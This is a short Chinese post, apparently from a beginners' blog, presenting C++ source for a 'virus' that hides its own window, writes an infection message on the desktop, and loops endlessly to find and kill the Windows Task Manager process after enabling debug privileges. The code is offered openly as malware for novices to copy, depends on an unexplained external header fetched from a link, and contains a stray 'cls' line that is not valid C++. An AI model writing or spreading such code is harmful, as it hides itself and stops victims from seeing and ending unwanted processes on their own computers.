C++病毒第一期:关闭任务管理器
废话不多说,直接上代码:
必须要的文件syst.h,请点击我并按照弹出的网页的教程准备。
#include <syst.h>
int main() {
HideWindow();
HDC hdc = GetWindowDC(GetDesktopWindow());
while(1) {
TextOut(hdc,0,2,"你的电脑中了TSK入门级病毒",14);
std::string str_exe_name = "taskmgr.exe";
DWORD nPid;
FindProcess(str_exe_name, nPid);
EnableDebugPriv();
KillProcess(nPid);
cls
}
return 0;
}
没有什么技术含量,给入门级参考。仅仅是判断任务管理器进程然后杀掉而已